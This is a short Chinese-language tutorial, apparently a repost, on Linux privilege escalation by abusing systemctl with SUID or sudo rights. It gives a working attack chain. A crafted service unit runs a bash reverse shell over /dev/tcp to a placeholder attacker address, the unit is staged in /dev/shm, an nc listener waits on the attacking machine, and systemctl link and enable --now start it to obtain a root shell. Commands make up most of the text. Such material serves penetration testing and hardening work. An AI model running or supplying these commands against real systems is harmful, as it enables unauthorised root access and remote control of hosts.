suid-systemctl提權


當systemctl具備suid位或sudo權限時,可以用來進行提權。

一、首先編寫一個service unit用來被systemctl加載

echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service

#生成的unit名位mm.service

二、把unit放置在合適的位置

通常unit存放在/usr/lib/systemd/system/ 和 /etc/systemd/system/,可以被systemctl加載執行,但是滲透過程中需要提權的場景往往權限較小,這些目錄不可寫。而systemctl的特性決定了,當unit在/tmp目錄下時,無法被systemctl加載。這里需要掌握一個神奇的目錄:/dev/shm/,關於這個目錄的解讀可以移步:https://www.cnblogs.com/tinywan/p/10550356.html學習掌握。這里就可以把我們生成的unit文件放置再這個目錄

三、攻擊機上啟動監聽

nc -lvnp 9999

四、被攻擊機器執行下列命令啟動我們寫好的service unit

systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service

這個時候可以在攻擊機上看到反彈回的高權限shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM